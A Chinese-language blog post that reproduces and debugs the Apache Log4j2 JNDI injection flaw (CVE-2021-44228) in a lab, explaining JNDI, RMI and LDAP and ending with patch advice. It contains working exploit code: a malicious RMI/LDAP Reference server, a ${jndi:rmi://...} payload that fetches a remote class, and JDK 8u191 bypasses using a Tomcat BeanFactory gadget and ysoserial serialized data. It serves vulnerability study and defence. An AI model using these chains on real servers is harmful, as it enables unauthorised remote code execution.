主頁 >  其他 > Apache Log4j2 RCE 遠程命令執行漏洞復現與分析

Apache Log4j2 RCE 遠程命令執行漏洞復現與分析

2021-12-19 08:39:49 其他

0x00 漏洞描述

2021年12月10日,國家資訊安全漏洞共享平臺(CNVD)收錄了Apache Log4j2 遠程代碼執行漏洞(CNVD-2021-95914),攻擊者利用該漏洞,可在未授權的情況下遠程執行代碼,目前,漏洞利用細節已公開,Apache官方已發布補丁修復該漏洞,

?Apache Log4j2是一個基于Java的日志記錄組件,該日志組件被廣泛應用于業務系統開發,用以記錄程式輸入輸出日志資訊,得益于其突出于其他日志的優勢:異步日志實作,是最受歡迎的于開發時的日志組件,

?2021年11月24日,阿里云安全團隊向Apache官方報告了Apache Log4j2 遠程代碼執行漏洞,由于Log4j2 組件在處理程式日志記錄時存在JNDI 注入缺陷,未經授權的攻擊者利用該漏洞,可向目標服務器發送精心構造的惡意資料,觸發Log4j2 組件決議缺陷,實作目標服務器的任意代碼執行,獲得目標服務器權限,

0x01 漏洞等級

高危,官方 CVSS 評分 10.0(最高是10.0),CVE 編號為:CVE-2021-44228

0x02 漏洞影響

  • Apache Log4j2 2.x <= 2.14.1
  • Apache Log4j2 2.15.0-rc1 (補丁繞過)

該漏洞影響了大批Java框架,包括但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 以及使用log4j2組件的自研/商業系統等,

0x03 環境搭建

遵守網路安全相關法規,本文不提供任何EXP工具,僅復現和分析漏洞程序原理,故本地搭建存在漏洞版本的 Apache Log4j2 2.11.1

新建maven專案,jdk版本選用1.70_21(原因后面會說):

pom.xml 匯入log4j2 2.11.1的版本依賴:

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
            <version>2.1.1.RELEASE</version>
        </dependency>
    </dependencies>

然后右鍵pom.xml -> Synchronize即可下載依賴:

0x04 漏洞復現

首先寫一個惡意命令執行彈計算器的類,惡意代碼放在靜態塊中

Calc.java

import java.io.IOException;

public class Calc {

    public Calc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

使用命令 javac Calc.java 編譯成class檔案

用 marshalsec.jar 起一個簡單的RMI服務,模擬惡意RMI服務端,將上面編譯好的Calc.class放入同級目錄下,運行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.57/#Calc 1389

再模擬客戶端,寫一個漏洞利用點

Log4j2.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * Hello world!
 *
 */
public class Log4j2
{
    public static void main( String[] args )
    {
        System.out.println( "Hello World!" );
        Logger logger = LogManager.getLogger(Log4j2.class);
        logger.error("${jndi:rmi://192.168.1.57:1389/#Calc}");
    }
}

運行之后就請求到惡意RMI服務器,并動態加載遠程惡意位元組碼執行:

0x05 漏洞原理

0x05_1 動態除錯

用Log4j2記錄日志,一般是用LogManager.getLogger()獲取到Logger物件,在使用Logger物件下的error/debug/info/log/trace/warn等方法處理日志資訊:

研究一下漏洞的觸發點是什么,在logger.error()函式處下斷點除錯:

進入error方法后,可以看到在logIfEnabled()方法中,傳入了日志的Level、Message(我們的可控payload):

判斷日志是否開啟,開啟則進行logMessage方法處理:

值得一提的是,在isEnabled()中,會對Level的值進行一個優先級的記錄,比如當前Error的日志是200:

其他的等級如下:

所以日志的優先級為:

OFF > FATAL > ERROR > WARN > INFO > DEBG > TRACE > ALL

在logMessage()之后,多次呼叫之后,最后移交給logMessageTrackRecursion()處理,這里會計算一個遞回處理日志的一個深度:

在處理日志的之前,會從privateConfig中獲取打日志的策略:

獲取策略之后,呼叫log方法,跟進去發現是交給loggerConfig.log()去處理:

在loggerConfig.log()中,先是創建了logEvent,之后再呼叫多載的log()來處理logEvent物件(日志資訊):

最后是進入processLogEvent()中處理,設定了列印了location資訊,然后進入callAppender():

之后一直跟進到AbstractOutputStreamAppender.append()方法:

在directEncodeEvent中,獲取PatternLayerout來進行encode處理日志:

在ToText方法中,傳入了兩個引數,一個是處理event的11個formatters;另一個是我們的日志:

接下來就使用每一個formatters的format方法來格式化日志event:

十一個formatters分別是:

DatePatternConverter

LiteralPatternConverter

ThreadNamePatternConverter

LiteralPatternConverter

LevelPatternConverter

LiteralPatternConverter

LoggerPatternConverter

LiteralPatternConverter

MessagePatternConverter 【關鍵觸發點】

LineSeparatorPatternConverter

ExtendedThrowablePatternConverter

簡單跟一下是日志處理程序,第一個登場的是DatePatternConverter,用于處理/記錄日志時間,執行完DatePatternConverter.format()之后 ,結果回傳到buffer中:

其他的PatternConverter就不一一跟進了,直接跟處理日志的關鍵MessagePatternConverter :

將原本event的日志字符提取到Message msg中;之前的結果賦值給workingBuilder中,然后會有一個nolookups的私有final變數,默認是false,即使默認使用lookup操作,為后面的jndi命令注入利用提供可能:

判斷了payload(即將需要處理的日志)中是否有:${ 有則提出來賦值給value并傳給replace方法進一步處理:

在replace方法中,又傳給substitue方法處理:

substitute關鍵處理邏輯是先對前綴( ${ )、后綴( } )、分隔符( :- )字符的Mather類進行初始化:

然后遞回處理截取了${xxx}中的xxx內容,這里截取了payload:jndi:rmi://192.168.1.57:1389/#Calc

截取到內容之后,再遞回去繼續截取${xxx},當然,如果沒有嵌套的${xxx}就直接return了:

然后就是匹配分隔符::-

上面匹配了前綴( ${ )、后綴( } )、分隔符( :- ),都是最后給replace成空,也就是去掉這些字符,而且也存在遞回操作,這里也為后面的jndi注入bypass WAF提供了途徑和可能,

然后使用checkCyclicSubstitution方法確認處理后的字串和原字串是否有出入,然后進入關鍵的resolveVariable函式,:

然后交給StrLookup.looup()來決議payload,可以看到resolver是一個Interpolator類,

構造方法里面初始化了一個 strLookupMap ,將一些 lookup 功能關鍵字和對應的實體類進行了映射,存放在這個 Map 中:

值得一提的是,這些關鍵字隨著log4j2的版本不同,支持處理的也會不同,比如上圖的是存在于版本2.11.1中的,而在版本2.14.0中額外支持了關鍵字:upper、lower

在支持更多關鍵字決議的同時,也為Bypass WAF提供了更多操作空間,

在lookup方法中,將判斷prefix是否在支持關鍵字中(在strLookupMap表中查詢),并通過strLookupMap 表獲取到對應的實體,這里是JNDI實體:

然后使用對應的實體,即JndiLookup#ookup方法處理jndi后面的內容:

最后呼叫JndiManager#lookup()來進行jndi查詢,同時也可以看到JndiManger實際上包含了一個InitialContext類,可以用于lookup操作:

再跟入稍等幾秒鐘就會請求遠程的RMI服務器上的Calc.class

至此,除錯結束,

0x05_2 JNDI是什么?

上面的漏洞復現都是使用marshealsec.jar直接起的LDAP/RMI服務器,有些同學可能會對JNDI和LDAP/RMI服務有些疑惑,這里簡單介紹一下,

JNDI:全稱為Java Naming and Directory Interface(java命名和目錄介面)SUN公司提供的一種標準的Java命名系統介面,JNDI提供統一的客戶端API,通過不同的服務供應介面(SPI)的實作,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程式可以和這些命名服務和目錄服務之間進行互動,

RMI:是經典的命名服務,命名服務是一種簡單的鍵值對系結,可以通過鍵名檢索值,

LDAP:是典型的目錄服務,目錄服務是命名服務的拓展,它與命名服務的區別在于它可以通過物件屬性來檢索物件,我們舉個例子:比如你要在某個學校里找某個人,那么會通過:年級->班級->姓名這種方式來查找,年級、班級、姓名這些就是某個人的屬性,這種層級關系就很像目錄關系,所以這種存盤物件的方式就叫目錄服務,

其實命名服務與目錄服務的本質是一樣的,都是通過鍵來查找物件,只不過目錄服務的鍵要靈活且復雜一點,

JNDI是對各種訪問目錄服務的邏輯進行了再封裝,類似于java中的多型,通俗的來說也就是:以前我們訪問rmi與ldap要寫的代碼差別很大,但是有了jndi這一層,我們就可以用jndi的方式來輕松訪問rmi或者ldap服務,所以jndi更像一種提供多型的介面,如下圖:

在JNDI中提供了系結和查找的方法:

  • bind:將名稱系結到物件中;
  • lookup:通過名字檢索執行的物件;

下面將簡單地演示如何用jndi訪問rmi服務:

IHello.java 介面

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {

    public String sayHello(String name) throws RemoteException;
}

IHelloImpl.java 實作IHello介面

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {


    protected IHelloImpl() throws RemoteException {
        super();
    }

    @Override
    public String sayHello(String name) throws RemoteException  {
        return "Hello " + name;
    }
}

RMIServer.java 模擬RMI服務端

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        // init registery
        Registry registry = LocateRegistry.createRegistry(1099);

        // create object
        IHello iHello = new IHelloImpl();

        // bind obj
        registry.bind("hello", iHello);

        System.out.println("RMI Server Starting at 1099 ...");
    }
}

RMIClient.java 模擬RMI客戶端

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Properties;

public class RMIClient {

    public static void main(String[] args) throws NamingException, RemoteException {
        // init env
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");  // 指定了到rmi://127.0.0.1:1099加載本地沒有的類

        Context ctx = new InitialContext(env);

        // jndi get remote obj
        IHello iHello = (IHello) ctx.lookup("hello");
//        IHello iHello = (IHello) ctx.lookup("rmi://127.0.0.1:1099/calc");  // remote Evil RMIServer

        System.out.println(iHello.sayHello("RMIServer"));
    }
}

其中,Context.PROVIDER_URL指定了到rmi://127.0.0.1:1099加載本地沒有的類,

下面運行按順序啟動服務端和運行客戶端:

那么思考一個問題,在客戶端的Context.lookup("hello");方法是否可以修改為惡意服務器地址呢?

答案是可以的,這就涉及到JNDI的動態協議轉換,

JNDI 動態協議轉換

就是說即使提前配置了Context.PROVIDER_URL屬性,當我們呼叫lookup()方法時,如果lookup方法的引數是一個uri地址,那么客戶端就會去lookup()方法引數指定的uri中加載遠程物件,而不是去Context.PROVIDER_URL設定的地址去加載物件,

正是因為有這個特性,才導致當lookup()方法的引數可控時,攻擊者可以通過提供一個惡意的url地址來控制受害者加載攻擊者指定的惡意類,

JNDI Reference類

但是你以為直接讓受害者去攻擊者指定的rmi注冊表加載一個類回來就能完成攻擊嗎,是不行的,因為受害者本地沒有攻擊者提供的類的class檔案,所以是呼叫不了方法的,所以我們需要借助Reference類來加載RMI/LDAP服務以外的物件參考,

如果遠程獲取 RMI 服務上的物件為 Reference 類或者其子類,則在客戶端獲取到遠程物件存根實體時,可以從其他服務器上加載 class 檔案來進行實體化,

創建Reference物件,可以將惡意物件類傳入其構造方法中:

// 第一個引數是遠程加載時所使用的類名, 第二個引數是要加載的類的完整類名,第三個引數就是遠程class檔案存放的地址了
Reference refObj = new Reference("calcName", "Calc", "http://192.168.1.57:1099/"); 
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

當有客戶端通過lookup("refObj")獲取遠程物件時,獲取的是一個Reference類,客戶端會在本地的classpath中去檢查是否存在類calcName,如果不存在則去指定的http://192.168.1.57:1099/calcName.class)動態加載,并且呼叫Calc的無參建構式,所以可以在建構式里寫惡意代碼(當然也可以在static代碼塊中)

JNDI注入

下面演示簡單的JNDI注入,其原理是將惡意的Reference類系結在RMI注冊表中,并將惡意參考指向遠程惡意的class檔案,

JNDI注入的利用條件:

  • 客戶端的lookup()方法的引數可控
  • 服務端中Reference的classFactoryLocation引數可控(Reference構造方法的第三個引數)

當用戶的JNDI客戶端訪問RMI注冊表中系結的惡意Reference類時,會加載遠程服務器上的惡意class檔案在客戶端本地執行,最終實作JNDI注入攻擊導致遠程代碼執行,

下面代碼實作:

RMIReferenceServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIReferenceServer {

    public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
        // init registery
        Registry registry = LocateRegistry.createRegistry(1099);

        // create reference object
        Reference reference = new Reference("calc", "Calc", "http://192.168.1.57:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);

        // bind obj
        registry.bind("test", wrapper);

        System.out.println("RMI Server Starting at 1099 ...");
    }
}

上面指定了Reference物件到惡意服務端http://192.168.1.57:8081/中動態加載,這里需要起一個8081埠的http服務,并將惡意類Calc.class放在其根目錄下:

python -m http.server 8081

客戶端的lookup引數為:

ctx.lookup("rmi://192.168.1.57:1099/test")

運行客戶端之后:

http服務也收到class的請求:

0x06 JDK版本限制

jdk版本在jndi注入中也起著至關重要的作用,一些利用鏈依賴于jdk中的一些特殊類,但是隨著jdk版本的升級,可能這些類會被丟棄和更改,導致不能適用,也就是說不同的攻擊對jdk的版本要求也不一致:

JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默認值被設定為true,當該值為true時,將禁用自動加載遠程類檔案,僅從CLASSPATH和當前JVM的java.rmi.server.codebase指定路徑加載類檔案,使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性,

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase選項,默認為false,禁止RMI和CORBA協議使用遠程codebase的選項,因此RMI和CORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以通過指定URI為LDAP協議來進行JNDI注入攻擊,

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,默認為false,禁止LDAP協議使用遠程codebase的選項,把LDAP協議的攻擊途徑也給禁了,

0x06_1 JDK8u121后

上文漏洞復現中適用的是jdk1.70_21,當選用jdk1.8.0_121后:

在使用RMI協議無法進行jndi注入:

這里可以使用LDAP協議進行繞過:

0x06_2 JDK8u191后

RMI協議的繞過

在使用高版本的JDK之后,默認com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的值變為false,禁用了遠程加載惡意類的方法,RMI和LDAP協議都無法注入成功,

不過并沒有限制從本地進行加載類檔案,比如org.apache.naming.factory.BeanFactory(存在Tomcat8中),因為是在本地的,所以無需搭建http服務即可利用,

這里事先匯入Tomcat8的包:

BypassJdk8u191Server.java 模擬服務端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class BypassJdk8u191Server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "a=evil"));
        resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Calc", refObjWrapper);
        System.out.println("Creating evil RMI registry on port 1099");
    }
}

客戶端的lookup引數為:

ctx.lookup("rmi://192.168.1.57:1099/calc")

LDAP協議的繞過

JDK 6u211,7u201, 8u191, 11.0.1開始,com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整為false,導致LDAP遠程代碼攻擊方式開始失效,

利用 javaSerializedData 屬性繞過,

當 javaSerializedData 屬性的value值不為空時,會對該值進行反序列化處理,當本地存在反序列化利用鏈時,即可觸發,
假設目標存在一個CC鏈所需的類別庫,pom.xml:

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

        <!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>4.0.9</version>
            <scope>compile</scope>
        </dependency>

那么可以利用這點進行利用:

1. 先用ysoserial.jar 生成CC鏈的POC:

java -jar ysoserial.jar CommonsCollections3 calc | base64

2. 轉換為base64放到服務端代碼里:

LDAP服務端代碼為:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;

public class BypassJDK8191LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] tmp_args) throws Exception {
        String[] args = new String[]{"http://localhost/#Calc"};
        int port = 1389;

        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }

            e.addAttribute("javaSerializedData", Base64.decode("your base64 code"));

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

客戶端的lookup引數為:

ctx.lookup("ldap://192.168.1.57:1389/Calc")

0x07 修復建議

?目前,Apache官方已發布新版本完成漏洞修復,CNVD建議用戶盡快進行自查,并及時升級至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 ,

?建議同時采用如下臨時措施進行漏洞防范:

  • 添加jvm啟動引數-Dlog4j2.formatMsgNoLookups=true;
  • 在應用classpath下添加log4j2.component.properties組態檔,檔案內容為log4j2.formatMsgNoLookups=true;
  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
  • 部署使用第三方防火墻產品進行安全防護,

?建議使用如下相關應用組件構建網站的資訊系統運營者進行自查,如Apache Struts2、Apache Solr、Apache Druid、Apache Flink等,發現存在漏洞后及時按照上述建議進行處置,

0x08 參考鏈接

https://tntaxin.blog.csdn.net/article/details/105586691

https://xz.aliyun.com/t/10035#toc-4

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/385497.html

標籤:其他

上一篇:快速復現利用Log4j漏洞啟動windows計算器

下一篇:【滲透測驗自學系列】—CSRF跨站請求偽造 攻擊及防御

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more